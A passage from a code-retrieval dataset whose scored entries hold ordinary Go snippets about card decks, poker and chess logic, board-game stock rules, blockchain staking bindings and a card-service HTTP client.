Hand{}\n\t\t\t\t\t\t\t\thand.AddCard(deck.GetByIndex(c7))\n\t\t\t\t\t\t\t\thand.AddCard(deck.GetByIndex(c6))\n\t\t\t\t\t\t\t\thand.AddCard(deck.GetByIndex(c5))\n\t\t\t\t\t\t\t\thand.AddCard(deck.GetByIndex(c4))\n\t\t\t\t\t\t\t\thand.AddCard(deck.GetByIndex(c3))\n\t\t\t\t\t\t\t\thand.AddCard(deck.GetByIndex(c2))\n\t\t\t\t\t\t\t\thand.AddCard(deck.GetByIndex(c1))\n\t\t\t\t\t\t\t\thand.Evaluate()\n\t\t\t\t\t\t\t\tcnt++\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}\n\n\tend := time.Now().UTC().UnixNano()\n\telapsed := float64(end - start) / float64(time.Second)\n\n\tfmt.Printf(\"Number of hands evaluated: %d\\n\", cnt)\n\tfmt.Printf(\"Time elapsed: %f seconds\\n\", elapsed)\n\tfmt.Printf(\"Evaluations per second: %d\\n\", int64(float64(cnt) / elapsed))\n}", "title": "" }, { "docid": "b10834c321b94d44658520e70bc32245", "score": "0.4876978", "text": "func (d *Dao) UserCard(c context.Context, mid int64) (*account.Card, error) {\n\targ := &account.MidReq{\n\t\tMid: mid,\n\t}\n\treply, err := d.accRPC.Card3(c, arg)\n\tif err != nil {\n\t\tlog.Error(\"d.dao.UserCard(%v) error(%v)\", arg, err)\n\t\treturn nil, err\n\t}\n\treturn reply.Card, nil\n}", "title": "" }, { "docid": "eaff866608bc33b07769142f74e73101", "score": "0.4872055", "text": "func (t *SimpleAsset) transfer(APIstub shim.ChaincodeStubInterface, args []string) sc.Response {\n if len(args) != 3 {\n return shim.Error(\"Incorrect arguments. Expecting account from, account to, amount\")\n }\n tx_amount, _ := strconv.Atoi(args[2])\n if tx_amount < 0 {\n return shim.Error(\"Incorrect arguments. Amount can't be belove zero\")\n }\n value, _ := APIstub.GetState(args[0])\n from_amount, _ := strconv.Atoi(string(value))\n if from_amount < tx_amount {\n return shim.Error(\"Not enought amounts at from account\")\n }\n\n value, _ = APIstub.GetState(args[1])\n to_amount, _ := strconv.Atoi(string(value))\n\n //transaction logic\n from_amount -= tx_amount\n to_amount += tx_amount\n\n s := strconv.Itoa(from_amount)\n\n err := APIstub.PutState(args[0], []byte(s))\n if err != nil {\n return shim.Error(fmt.Sprintf(\"Failed save transaction: %s -> %s, %s\", args[0], args[1], args[2]))\n }\n\n err = APIstub.PutState(args[1], []byte(strconv.Itoa(to_amount)))\n if err != nil {\n return shim.Error(fmt.Sprintf(\"Failed save transaction: %s -> %s, %s\", args[0], args[1], args[2]))\n }\n return shim.Success([]byte(fmt.Sprintf(\"Success transaction: %s -> %s, %s\", args[0], args[1], args[2])))\n}", "title": "" }, { "docid": "e023cebefc31e5f6d33276cebd041c9f", "score": "0.48683977", "text": "func (l *ledger) TopUpCard (CardId int, Amount int) {\n\tcard := l.FindCard(CardId)\n\tif (card != nil) {\n\t card.Add(Amount)\n\t}\n}", "title": "" }, { "docid": "aa6022f2371b45422b8346f6db33e599", "score": "0.48640302", "text": "func main() {\n\tcards := deck.NewDeck()\n\t// hand, remainingCards := deck.Deal(cards, 5)\n\t// hand.Print()\n\t// remainingCards.Print()\n\t// cards.Print()\n\tif err := cards.SaveToFile(\"deck.txt\"); err != nil {\n\t\tfmt.Println(\"Error: \", err)\n\t}\n\tfmt.Println(cards.NewDeckFromFile(\"deck.txt\"))\n}", "title": "" }, { "docid": "5d5fc78d4bd9c423155902a36a116049", "score": "0.48607343", "text": "func TestSimpleDraw(t *testing.T) {\n\t// Get/print all cards in deck in order\n\tallCardsInOrder := make([]Card, 52)\n\tfor i := 0; i < 52; i++ {\n\t\tallCardsInOrder[i] = CardFromInt(i)\n\t}\n\tfmt.Printf(\"%-19v %v\\n\", \"All cards:\", allCardsInOrder)\n\n\t// Create a prime everyone shares\n\tsharedPrime, err := rand.Prime(rand.Reader, 256)\n\trequire.NoError(t, err)\n\n\t// Create three players\n\talice := deck.NewMe(sharedPrime, 32)\n\tbob := deck.NewMe(sharedPrime, 32)\n\tted := deck.NewMe(sharedPrime, 32)\n\n\t// Create a deck of cards\n\td := deck.New([]deck.Player{alice, bob, ted}, 52)\n\n\t// Do a shuffle\n\trequire.NoError(t, d.ResetAndShuffle())\n\tfmt.Printf(\"%-19v %v\\n\", \"Deck after shuffle:\", deckCards(t, d))\n\n\t// Give each player 7 cards\n\tfor i := 0; i < 7; i++ {\n\t\trequire.NoError(t, alice.DrawCard(d))\n\t\trequire.NoError(t, bob.DrawCard(d))\n\t\trequire.NoError(t, ted.DrawCard(d))\n\t}\n\tfmt.Printf(\"%-19v %v\\n\", \"Deck after draws:\", deckCards(t, d))\n\tfmt.Printf(\"%-19v %v\\n\", \"Alice's draw:\", playerCards(t, alice))\n\tfmt.Printf(\"%-19v %v\\n\", \"Bob's draw:\", playerCards(t, bob))\n\tfmt.Printf(\"%-19v %v\\n\", \"Ted's draw:\", playerCards(t, ted))\n\n\t// Combine em all and confirm it's the same elements as the full set\n\tfinalCards := append([]Card{}, deckCards(t, d)...)\n\tfinalCards = append(finalCards, playerCards(t, alice)...)\n\tfinalCards = append(finalCards, playerCards(t, bob)...)\n\tfinalCards = append(finalCards, playerCards(t, ted)...)\n\trequire.ElementsMatch(t, allCardsInOrder, finalCards)\n}", "title": "" }, { "docid": "98f58d00ec96d46bef400128c65bd2a3", "score": "0.48524928", "text": "func (suite *KeeperTestSuite) Stake(farmer sdk.AccAddress, amt sdk.Coins) types.Staking {\n\tstaking, err := suite.keeper.Stake(suite.ctx, farmer, amt)\n\tsuite.Require().NoError(err)\n\n\treturn staking\n}", "title": "" }, { "docid": "753201ca3acba121ec0ad2b2c6bb32e0", "score": "0.4851132", "text": "func (d deck) deal(handSize int) (deck, deck) {\n\treturn d[:handSize], d[handSize:]\n}", "title": "" }, { "docid": "31a8f59f3e9f754233ca5b2cf117c75a", "score": "0.48432803", "text": "func TestDiscard(t *testing.T) {\n players := getTestablePlayers()\n\n for i, fixture := range discardTests {\n for j, player := range players {\n copyHand := make([]deck.Card, len(fixture.hand))\n copy(copyHand, fixture.hand)\n\n _, discarded := player.Discard(copyHand, fixture.top)\n if discarded != fixture.expected {\n t.Logf(\"Fixture %d, implementation %d failed.\\n\", i + 1, j + 1)\n t.Errorf(\"Gave %s instead of %s.\\n\", discarded, fixture.expected)\n }\n }\n }\n}", "title": "" }, { "docid": "c2faffe0366154c0a687a1aad9f2d00f", "score": "0.4841458", "text": "func (_PearlDistributeOysterby *PearlDistributeOysterbyTransactor) Stake(opts *bind.TransactOpts, _send common.Address, _amount *big.Int) (*types.Transaction, error) {\n\treturn _PearlDistributeOysterby.contract.Transact(opts, \"stake\", _send, _amount)\n}", "title": "" }, { "docid": "125ef2e091e9533c74fcb8996c4d1b3b", "score": "0.48403585", "text": "func (board *ChessBoard) TakeTurn(player ChessPlayer) TurnOutcome {\n\tinCheck := false\n\tif player.GetSide() == WHITE {\n\t\tboard.WhiteKing.updateKingStatus(board)\n\t\tinCheck = board.WhiteKing.inCheck\n\t} else {\n\t\tboard.BlackKing.updateKingStatus(board)\n\t\tinCheck = board.BlackKing.inCheck\n\t}\n\tside := player.GetSide()\n\tallValidMoves := board.getAllValidMovesForSide(side)\n\tif inCheck && len(allValidMoves) == 0 {\n\t\tif player.GetSide() == WHITE {\n\t\t\treturn BLACKCHECKMATE\n\t\t} else {\n\t\t\treturn WHITECHECKMATE\n\t\t}\n\t}\n\tif len(allValidMoves) == 0 {\n\t\treturn STALEMATE\n\t}\n\tclonedBoard := deepCopyBoard(board)\n\tfromCoord, toCoord := player.MakeMove(clonedBoard, allValidMoves)\n\tvalidMoves, fromOk := allValidMoves[fromCoord]\n\ttoOk := false\n\tif fromOk {\n\t\t_, toOk = validMoves[toCoord]\n\t}\n\tfor !fromOk || !toOk {\n\t\tfromCoord, toCoord = player.MakeMove(clonedBoard, allValidMoves)\n\t\tvalidMoves, fromOk = allValidMoves[fromCoord]\n\t\tif fromOk {\n\t\t\t_, toOk = validMoves[toCoord]\n\t\t}\n\t}\n\tpromotePawn := board.UpdateBoard(fromCoord, toCoord)\n\t// Update side's king to not be in check, since move validation wouldn't allow king to still be in check if it were before\n\tif side == WHITE {\n\t\tboard.WhiteKing.inCheck = false\n\t\tboard.WhiteKing.threateningPieces = nil\n\t} else {\n\t\tboard.BlackKing.inCheck = false\n\t\tboard.BlackKing.threateningPieces = nil\n\t}\n\tif !promotePawn {\n\t\treturn CONTINUE\n\t}\n\tpromotePiece := player.PromotePawn()\n\tfor promotePiece == KING || promotePiece == PAWN {\n\t\tpromotePiece = player.PromotePawn()\n\t}\n\tboard.promotePawn(toCoord, promotePiece, side)\n\treturn CONTINUE\n}", "title": "" }, { "docid": "1c5072abf97de739e51a8ed8ccd5d127", "score": "0.48324338", "text": "func deal(d deck, handSize int) (deck, deck) { // handSize - number of arguments, its argument inside of func call\n\treturn d[:handSize], d[handSize:]\n}", "title": "" }, { "docid": "07759d6e43475d99f12d7dca23015503", "score": "0.48240405", "text": "func (_EtherDelta *EtherDeltaCallerSession) FeeTake() (*big.Int, error) {\n\treturn _EtherDelta.Contract.FeeTake(&_EtherDelta.CallOpts)\n}", "title": "" }, { "docid": "3b9b7f074ed76185ecbce36b29aac272", "score": "0.48214605", "text": "func TestStockBuyTakeover(t *testing.T) {\n\t// Create a new game and override the random turn order to make the test easier\n\tgame := NewGame([]string{\"pres\", \"other\"})\n\n\taction := MarketAction{\n\t\tCompany: randomCompany(false),\n\t\tPrice: startingPrices[0][1],\n\t\tCount: 4,\n\t}\n\t// Make sure the players have enough cash to purchase all the stock needed\n\tgame.Players[\"pres\"].Cash = 4 * action.Price\n\tgame.Players[\"other\"].Cash = 6 * action.Price\n\n\t// Establish the initial president the other player will try to take over. Turn order changes\n\t// are just to make it so we don't need the president to pass later.\n\tgame.TurnManager.Order = []string{\"pres\"}\n\tif errs := startCompany(t, game, action.Company, action.Count, action.Price); len(errs) > 0 {\n\t\tt.Fatalf(\"failed to establish initial president: %v\", errs)\n\t} else if president := game.Companies[action.Company].President; president != \"pres\" {\n\t\tt.Fatalf(\"expected company president to be pres, but is instead %q\", president)\n\t}\n\n\tgame.TurnManager.Order = []string{\"other\"}\n\tif errs := buyStock(t, game, \"other\", action.Company, 2); len(errs) > 0 {\n\t\tt.Fatalf(\"other player failed to purchase additional stock: %v\", errs)\n\t} else if president := game.Companies[action.Company].President; president != \"pres\" {\n\t\tt.Fatalf(\"president changed to %q when other player has less stock\", president)\n\t}\n\n\tif errs := buyStock(t, game, \"other\", action.Company, 2); len(errs) > 0 {\n\t\tt.Fatalf(\"other player failed to purchase additional stock: %v\", errs)\n\t} else if president := game.Companies[action.Company].President; president != \"pres\" {\n\t\tt.Fatalf(\"president changed to %q when other player tied for stock\", president)\n\t}\n\n\tif errs := buyStock(t, game, \"other\", action.Company, 2); len(errs) > 0 {\n\t\tt.Fatalf(\"other player failed to purchase additional stock: %v\", errs)\n\t} else if president := game.Companies[action.Company].President; president != \"other\" {\n\t\tt.Fatalf(\"president changed to %q after other player exceeded pres\", president)\n\t}\n}", "title": "" }, { "docid": "c3f594d7c5fc3604b812e3624fbcd0de", "score": "0.48211792", "text": "func (_EtherDelta *EtherDeltaCaller) FeeTake(opts *bind.CallOpts) (*big.Int, error) {\n\tvar (\n\t\tret0 = new(*big.Int)\n\t)\n\tout := ret0\n\terr := _EtherDelta.contract.Call(opts, out, \"feeTake\")\n\treturn *ret0, err\n}", "title": "" }, { "docid": "354a12c7ce3b1a4ff3c331c3988d6195", "score": "0.48201326", "text": "func PlayerTurn(board Board, color PieceColor) Board {\n\tvar fullMove FullMove\n\tvar newBoard Board\n\tvalid := false\n\n\tfor {\n\t\tfmt.Println(\"Insert your move: x y diffx diffy\")\n\t\tfmt.Scanln(&fullMove.pos.x, &fullMove.pos.y, &fullMove.move.x, &fullMove.move.y)\n\n\t\tinfo := GetBoardAt(board, fullMove.pos)\n\t\tif !PositionInBoard(fullMove.pos) {\n\t\t\tfmt.Println(\"Must select square inside of board\")\n\t\t\tcontinue\t\t\t\n\t\t}\n\t\tif info.piece == Piece_Empty {\n\t\t\tfmt.Println(\"Can't select empty piece\")\n\t\t\tcontinue\n\t\t}\n\t\tif info.color != color {\n\t\t\tfmt.Println(\"Wrong piece color!\")\n\t\t\tcontinue\n\t\t}\n\t\tnewPos := PositionAdd(fullMove.pos, fullMove.move)\n\t\tif !PositionInBoard(newPos) {\n\t\t\tfmt.Println(\"Can't make move outside of the board!\")\n\t\t\tcontinue\t\t\t\n\t\t}\n\t\t\n\t\tisCastling := info.piece == Piece_King && math.Abs(float64(fullMove.move.x)) > 1.\n\t\tisPawnPromotion := info.piece == Piece_Pawn &&\n\t\t\t((info.color == PieceColor_White && newPos.y == 0) || (info.color == PieceColor_Black && newPos.y == 7))\n\t\tisPawnCapture := info.piece == Piece_Pawn && math.Abs(float64(fullMove.move.x)) == 1.\n\t\tupdateStates := true\n\t\t\n\t\tif isCastling {\n\t\t\tnewBoard = ApplyCastling(board, fullMove.pos, info, sign(fullMove.move.x))\n\t\t} else if isPawnPromotion {\n\t\t\tvar selectedPieceCode int\n\t\t\tfmt.Println(\"Select piece to promote to: 0 is queen, 1 is knight, 2 is bishop, 3 is rock\")\n\t\t\tfmt.Scanln(&selectedPieceCode)\n\n\t\t\tpromotionCodes := map[int]Piece { 0 : Piece_Queen, 1 : Piece_Knight, 2 : Piece_Bishop, 3 : Piece_Rock }\n\t\t\tselectedPiece, ok := promotionCodes[selectedPieceCode]\n\t\t\t\n\t\t\tif !ok {\n\t\t\t\tfmt.Println(\"Can't promote to selected piece\")\n\t\t\t\tcontinue\n\t\t\t}\n\t\t\t\n\t\t\tnewBoard = ApplyPawnPromotion(board, fullMove, selectedPiece, updateStates)\n\t\t} else if isPawnCapture {\n\t\t\tcapturedInfo := GetBoardAt(board, newPos)\n\t\t\tenPassantInfo := GetBoardAt(board, Position{ newPos.x, fullMove.pos.y })\n\t\t\t\n\t\t\tif capturedInfo.color != color && capturedInfo.piece != Piece_Empty {\n\t\t\t\tnewBoard = ApplyMove(board, fullMove, updateStates)\n\t\t\t} else if capturedInfo.piece == Piece_Empty && enPassantInfo.color != color && enPassantInfo.piece == Piece_Pawn {\n\t\t\t\tnewBoard = ApplyEnPassant(board, fullMove, updateStates)\n\t\t\t} else {\n\t\t\t\tfmt.Println(\"Invalid pawn move\")\n\t\t\t\tcontinue\n\t\t\t}\n\t\t} else {\n\t\t\tnewBoard = ApplyMove(board, fullMove, updateStates)\n\t\t}\n\n\t\tvalid = IsValidMove(board, fullMove.pos, newBoard)\n\t\tif valid {\n\t\t\treturn newBoard\n\t\t}\n\t\tfmt.Println(\"Invalid move!\")\n\t}\n}", "title": "" }, { "docid": "70e2c7b0d00e3159fbaf4f4908768fd9", "score": "0.48005182", "text": "func (d *Deck) Cut() {\n\ti := rand.Intn(len(d.Cards))\n\td.CutAt(i)\n}", "title": "" }, { "docid": "954f84af62571c8403a32d886612321f", "score": "0.47989142", "text": "func (s *CardsService) PutBackCard(ctx context.Context, r PutBackCardRequest) (*PutBackCardResponse, error) {\n\trequestBodyBytes, err := json.Marshal(r)\n\tif err != nil {\n\t\treturn nil, errors.Wrap(err, \"CardsService.PutBackCard: marshal PutBackCardRequest\")\n\t}\n\tsignature, err := generateSignature(requestBodyBytes, s.client.secret)\n\tif err != nil {\n\t\treturn nil, errors.Wrap(err, \"CardsService.PutBackCard: generate signature PutBackCardRequest\")\n\t}\n\n\turl := s.client.RemoteHost + \"/api/CardsService.PutBackCard\"\n\ts.client.Debug(fmt.Sprintf(\"POST %s\", url))\n\ts.client.Debug(fmt.Sprintf(\">> %s\", string(requestBodyBytes)))\n\treq, err := http.NewRequest(http.MethodPost, url, bytes.NewReader(requestBodyBytes))\n\tif err != nil {\n\t\treturn nil, errors.Wrap(err, \"CardsService.PutBackCard: NewRequest\")\n\t}\n\treq.Header.Set(\"X-API-KEY\", s.client.apiKey)\n\treq.Header.Set(\"X-API-SIGNATURE\", signature)\n\treq.Header.Set(\"Content-Type\", \"application/json\")\n\treq.Header.Set(\"Accept-Encoding\", \"gzip\")\n\treq = req.WithContext(ctx)\n\tresp, err := s.client.HTTPClient.Do(req)\n\tif err != nil {\n\t\treturn nil, errors.Wrap(err, \"CardsService.PutBackCard\")\n\t}\n\tdefer resp.Body.Close()\n\tvar response struct {\n\t\tPutBackCardResponse\n\t\tError string\n\t}\n\tvar bodyReader io.Reader = resp.Body\n\tif strings.Contains(resp.Header.Get(\"Content-Encoding\"), \"gzip\") {\n\t\tdecodedBody, err := gzip.NewReader(resp.Body)\n\t\tif err != nil {\n\t\t\treturn nil, errors.Wrap(err, \"CardsService.PutBackCard: new gzip reader\")\n\t\t}\n\t\tdefer decodedBody.Close()\n\t\tbodyReader = decodedBody\n\t}\n\trespBodyBytes, err := ioutil.ReadAll(bodyReader)\n\tif err != nil {\n\t\treturn nil, errors.Wrap(err, \"CardsService.PutBackCard: read response body\")\n\t}\n\tif err := json.Unmarshal(respBodyBytes, &response); err != nil {\n\t\tif resp.StatusCode != http.StatusOK {\n\t\t\treturn nil, errors.Errorf(\"CardsService.PutBackCard: (%d) %v\", resp.StatusCode, string(respBodyBytes))\n\t\t}\n\t\treturn nil, err\n\t}\n\tif response.Error != \"\" {\n\t\treturn nil, errors.New(response.Error)\n\t}\n\treturn &response.PutBackCardResponse, nil\n}", "title": "" }, { "docid": "e4b079f442d2af5a37ebb6e12248f5e0", "score": "0.47894084", "text": "func (p *Player) Cash() int {\n\treturn p.FakeCash\n}", "title": "" }, { "docid": "b257182350e110bc066cf1ee3a9475bd", "score": "0.47889185", "text": "func (g *Game) SelectedCard() (c *Card) {\n\tif cp := g.CurrentPlayer(); g.SelectedCardIndex >= 0 && g.SelectedCardIndex < len(cp.Hand) {\n\t\tc = cp.Hand[g.SelectedCardIndex]\n\t}\n\treturn\n}", "title": "" }, { "docid": "e1cfcdd462e3848b16a9dd13ca0e0dcf", "score": "0.47859594", "text": "func scorecard() {\n\tfmt.Printf(\"-----------------\\nTime Taken %.2f seconds \\n%d Ports scanned\\n%d Ports Open:\\n\", Target.Total.timeTaken.Seconds(), len(Target.harbour), len(Target.Total.openPorts))\n\tfor _, open := range Target.Total.openPorts {\n\t\tfmt.Printf(\"Port %d open\\n\", open)\n\t}\n}", "title": "" }, { "docid": "4132634f7e00220aa943298ab986ffd6", "score": "0.47832224", "text": "func main() {\n\tvar trump string\n\tflag.StringVar(&trump, \"trump\", \"\", \"Specify what suit do you want to be the trump (Hearts, Diamonds, Clubs or Spades)\")\n\tflag.Parse()\n\tif trump != \"Hearts\" && trump != \"Diamonds\" && trump != \"Clubs\" && trump != \"Spades\" && trump != \"\" {\n\t\tlog.Fatal(\"No such trump: \", trump, \". Use one of these (Hearts, Diamonds, Clubs or Spades)\")\n\t}\n\tcards2 := GenerateCards(trump)\n\tcards1 := cards2.Cards\n\tShuffle1(cards1)\n\t// Closures that order the PlayingCards structure.\n\tbyName := func(c1, c2 *Card) bool {\n\t\treturn c1.Name < c2.Name\n\t}\n\tbyValue := func(c1, c2 *Card) bool {\n\t\treturn c1.Value < c2.Value\n\t}\n\tbyTrump := func(c1, c2 *Card) bool {\n\n\t\tif c1.IsTrump && !c2.IsTrump {\n\t\t\treturn false\n\n\t\t}\n\t\tif !c1.IsTrump && c2.IsTrump {\n\t\t\treturn true\n\n\t\t}\n\t\treturn false\n\t}\n\n\tOrderedBy(byName).Sort(&cards1)\n\tfmt.Printf(\"By byName: %+v\\n\", cards1)\n\n\tShuffle1(cards1)\n\tOrderedBy(byValue).Sort(&cards1)\n\tfmt.Printf(\"By byValue: %+v\\n\", cards1)\n\n\tShuffle1(cards1)\n\tOrderedBy(byTrump).Sort(&cards1)\n\tfmt.Printf(\"By byTrump: %+v\\n\", cards1)\n\n\tShuffle1(cards1)\n\tOrderedBy(byTrump, byValue).Sort(&cards1)\n\tfmt.Printf(\"By byTrump>byValue: %+v\\n\", cards1)\n}", "title": "" }, { "docid": "fabb3b5f459b73f0a6b0333365e8c418", "score": "0.4775646", "text": "func main() { // automatically called when running project\n\t// \"string\" is telling the go compiler that only a data type of string will be assigned to card\n\t// \"string\" is an example of a statically typed language\n\t// basic Go types: bool, string, int, float64\n\t// var card string = \"Ace of Spades\" // declares and assigns value to variable card // equivalent to variable := datatype\n\t//card := \"Ace of Spades\" // determine / infer what datatype to be assigned\n\t//card := newCard() // determine / infer what datatype to be assigned\n\t// do not need to use colon after initialization of variable\n\t// card = \"Five of Diamonds\"\n\t// cards := []string{\"Ace of Diamonds\", newCard()} // slice of type string\n\t// cards := deck{\"Ace of Diamonds\", newCard()} // replace []string with deck due to declaration in deck.go\n\t// cards = append(cards, \"Six of Spades\") // adds string cards // does not modify cards, but creates a new cards slice\n\n\t//cards := newDeck()\n\n\t// iterate over slice\n\t// for i, card := range cards { // i = index of this element in the array // card = current card of iteration // range cards = take the slice of \"cards\" and loop over iot\n\t// \t fmt.Println(i, card)\n\t// }\n\t//cards.print() // replace loop with deck.go function print() because cards is of type deck (receiver)\n\t//fmt.Println(cards) // print out variable to terminal\n\t//hand, remainingCards := deal(cards, 5)\n\t//hand.print()\n\t//remainingCards.print()\n\t//err := cards.saveToFile(\"my_file\")\n\t//if err != nil {\n\t//\tlog.Fatal(err)\n\t//}\n\tcards := newDeckFromFile(\"my_file\")\n\tcards.shuffle()\n\tcards.print()\n}", "title": "" }, { "docid": "c286bb0d01e5c08a98810e7120d41355", "score": "0.47744474", "text": "func handInit() ([]string, int, bool) {\n\tvar highace bool\n\thand := make([]string, 2)\n\n\tx, y := draw()\n\tc1 := Card{x, y}\n\tx, y = draw()\n\tc2 := Card{x, y}\n\n\tif strings.Contains(c1.card, \"Ace\") {\n\t\thighace = true\n\t}\n\tif strings.Contains(c2.card, \"Ace\") && highace == true {\n\t\tc2.value = 1\n\t}\n\n\thand[0] = c1.card\n\thand[1] = c2.card\n\n\tt := c1.value + c2.value\n\n\treturn hand, t, highace\n}", "title": "" }, { "docid": "40f0f6ab760d6d6e878016ffed3cd05a", "score": "0.47718972", "text": "func (s *server) CreateCard(ctx context.Context, in *pb.CreateCardRequest) (*pb.BlankReply, error) {\n\townerAddress := in.OwnerAddress\n\tlog.Printf(\"Creating a card for owner: %v\\n\", ownerAddress)\n\n\tganachePublicKey, ganachePrivateKey := getKeypairForTransactions()\n\n\tsigner := func(signer types.Signer, address common.Address, txn *types.Transaction) (*types.Transaction, error) {\n\t\treturn types.SignTx(txn, signer, ganachePrivateKey)\n\t}\n\n\tsesh := &conts.CryptoCardsCoreSession{\n\t\tContract: getCoreContractInstance(in.CoreAddress),\n\t\tTransactOpts: bind.TransactOpts{\n\t\t\tFrom: ganachePublicKey,\n\t\t\tSigner: signer,\n\t\t},\n\t}\n\n\ta, err := sesh.CreateCard(common.HexToAddress(ownerAddress), big.NewInt(3))\n\tif err != nil {\n\t\tlog.Fatalf(\"Error creating card %v\", err)\n\t}\n\tlog.Printf(\"CreateCard txn: %v\", a.Hash().Hex())\n\n\treturn &pb.BlankReply{Message: a.Hash().Hex()}, nil\n}", "title": "" }, { "docid": "5c78c3f4ec93872467b78f0ee334a295", "score": "0.47421443", "text": "func deal(_deck deck, handSize int) (deck, deck) {\n\treturn _deck[handSize:], // Pick element at specified index up to beyond\n\t\t\t\t _deck[:handSize] // Pick elements from index 0 up to specified index - 1\n}", "title": "" }, { "docid": "2acfb5394e0225b99c6cc10813e7262c", "score": "0.47387096", "text": "func (u *User) TakeMoney(money Cash) {\n\tu.Money += money\n}", "title": "" }, { "docid": "9c543b2243f7851a341fafe877571149", "score": "0.47351024", "text": "func Turn() {\n\t//OutputTurn()\n\tcurrent.Stage = \"Turn\"\n\tvar tempList []string\n\tcurrent.PreEventsList = tempList\n\tturnCardIndex := len(current.Pool) - 2\n\tcurrent.CommunityCard = append(current.CommunityCard, current.Pool[turnCardIndex])\n\n\tfor i := 0; i < len(current.Players); i++ {\n\t\tcurrent.Players[i].OK = false\n\t}\n}", "title": "" }, { "docid": "caa256a99603f4ceb714dbc449d4b246", "score": "0.47336018", "text": "func deal(d deck, handSize int) (deck, deck) {\n\t// return 2 decks\n\t// 0 to handSize (not inclusive)\n\t// handSize to end of deck\n\treturn d[:handSize], d[handSize:]\n}", "title": "" }, { "docid": "dea87e18d583110880ad1bec86539a8a", "score": "0.47311807", "text": "func (b *Driver) TakePicture() (err error) {\n\tb.stepsfa0b++\n\tbuf := []byte{0x02, byte(b.stepsfa0b) & 0xff, 0x02, 0x06, 0x01, 0x00}\n\terr = b.adaptor().WriteCharacteristic(commandCharacteristic, buf)\n\n\treturn err\n}", "title": "" }, { "docid": "dde3951adb4a01ca663c4d2f9f3695b3", "score": "0.4727886", "text": "func deal(d deck , handSize int) (deck , deck){\n\treturn d[:handSize], d[handSize:]\n}", "title": "" }, { "docid": "86d40193d0473a799f2721ad93d5fb6e", "score": "0.47149065", "text": "func (_PearlDistributeOysterby *PearlDistributeOysterbyTransactorSession) Stake(_send common.Address, _amount *big.Int) (*types.Transaction, error) {\n\treturn _PearlDistributeOysterby.Contract.Stake(&_PearlDistributeOysterby.TransactOpts, _send, _amount)\n}", "title": "" }, { "docid": "35b34b0f06e83f8ede253b558a8110ff", "score": "0.47139138", "text": "func (fw *ConcreteForwarder) ForwardCard(position string, card *game.Card) {\n\tmsgStruct := cardMsg{Position: position, Card: card}\n\tmsg, _ := json.Marshal(&msgStruct)\n\tfw.sendToRoom(EmitCard, msg)\n}", "title": "" }, { "docid": "91eee43f6beae8ff33de4b9466c142c8", "score": "0.47088817", "text": "func (deck *Deck) Cut() {\n\trand.Seed(time.Now().UnixNano())\n\tindex := rand.Intn(len(deck.Cards))\n\tdeck.Cards = append(deck.Cards[index:], deck.Cards[:index]...)\n}", "title": "" }, { "docid": "0a35625e46bd1c9b2354987242e23e2e", "score": "0.47083643", "text": "func (_StakeManager *StakeManagerTransactorSession) Stake(epoch *big.Int, amount *big.Int) (*types.Transaction, error) {\n\treturn _StakeManager.Contract.Stake(&_StakeManager.TransactOpts, epoch, amount)\n}", "title": "" }, { "docid": "39c31758ea2f8674d7d282c6d868719f", "score": "0.47078043", "text": "func (input *Input) Take() error {\n\tif input == nil {\n\t\treturn errors.New(\"input is null\")\n\t}\n\n\tretcode := int(C.RTI_Connector_take(unsafe.Pointer(input.connector.native), input.nameCStr))\n\treturn checkRetcode(retcode)\n}", "title": "" }, { "docid": "24774a0ec36446210c69443c49032eaa", "score": "0.47056603", "text": "func Card(card string) {\n\tfmt.Print(\"┏---┓\\n|\" + card + \"|\\n┗---┛\\n\")\n}", "title": "" }, { "docid": "e9986d1d02c4efc9d2f8e20fc5b5be00", "score": "0.4699099", "text": "func deal(g *game) {\n\tfmt.Printf(\"Round %d!\\n\", round)\n\tif len(g.cards.Cards()) == 2 || round == 1 {\n\t\tfmt.Println(\"SHUFFLING!\")\n\t\tg.shuffle()\n\t}\n\tg.deal()\n\tstatus(g)\n}", "title": "" }, { "docid": "66bf44e8b087eae7793229ea488f2211", "score": "0.4699051", "text": "func (h *Hand) deal() {\n\t// not the normal order of things, but that's fine.\n\thands := make([]Cards, len(h.players))\n\tfor i := range h.players {\n\t\thands[i] = h.deck.DealMust(5)\n\t}\n\th.hands = hands\n\th.kitty = h.deck.DealMust(1)[0]\n\n}", "title": "" }, { "docid": "d57e1244dea9d14a423152443211b79b", "score": "0.46952933", "text": "func aiPlay(ai Player, victim Player, Deck []Card) (Player, Player){\n\tmaxDraw, maxMill, maxSkip := 0, 0, 0\t\t//the max amount that the AI can draw, mill and skip on its turn\n\taiDrawSensitvity, aiMillSensitivity, aiSkipSensitivity := 0, 0, 0\n\tfor i := 0; i < len(ai.Hand); i++{\n\t\tif (ai.Hand[i].Action == \"DRAW\"){maxDraw += ai.Hand[i].Count}\n\t\tif (ai.Hand[i].Action == \"MILL\"){maxMill += ai.Hand[i].Count}\n\t\tif (ai.Hand[i].Action == \"SKIP\"){maxSkip += ai.Hand[i].Count}\n\t}\n\n\t//if it is going to die, skip until it can live! or at least try to.\n\tfor (ai.Drawing > len(Deck) + aiSkipSensitivity && maxSkip > 0){\n\t\tmaxSkip -= nextCardWith(ai, \"SKIP\").Count\n\t\tai, victim = playCard(ai, victim, nextCardWith(ai, \"SKIP\"))\n\t}\n\n\t//if it's in no danger of dying, mill the Deck down to get it closer to 0.\n\t//so, if it's Milling less cards than are remaining in the Deck after it draws, it'll play some mill cards\n\tfor (ai.Milling < len(Deck)-aiMillSensitivity-ai.Drawing && maxMill > 0){\n\t\t//SO LONG AS PLAYING THE CARD WOULD NOT PUSH AI.Milling OVER LEN(Deck)-ai.Drawing, IT WILL PLAY\n\t\t//otherwise it'd just commit suicide\n\t\tif (len(Deck)-ai.Drawing-ai.Milling-nextCardWith(ai, \"MILL\").Count >= 0){\n\t\t\tmaxMill -= nextCardWith(ai, \"MILL\").Count\n\t\t\tai, victim = playCard(ai, victim, nextCardWith(ai, \"MILL\"))\n\t\t} else{\n\t\t\tmaxMill = 0\n\t\t}\n\t}\n\n\t//finally, if they feel safe in an attack, they'll go for it!\n\tif ((len(Deck) + aiDrawSensitvity) - victim.Drawing - victim.Milling - maxDraw < 0){\n\t\t//fmt.Println(\"(\", len(Deck), \"+\", aiDrawSensitvity, \") -\", victim.Drawing, \"-\", victim.Milling, \"-\", maxDraw, \" = \", (len(Deck) + aiDrawSensitvity) - victim.Drawing - victim.Milling - maxDraw)\n\t\tfor (maxDraw > 0){\n\t\t\tmaxDraw -= nextCardWith(ai, 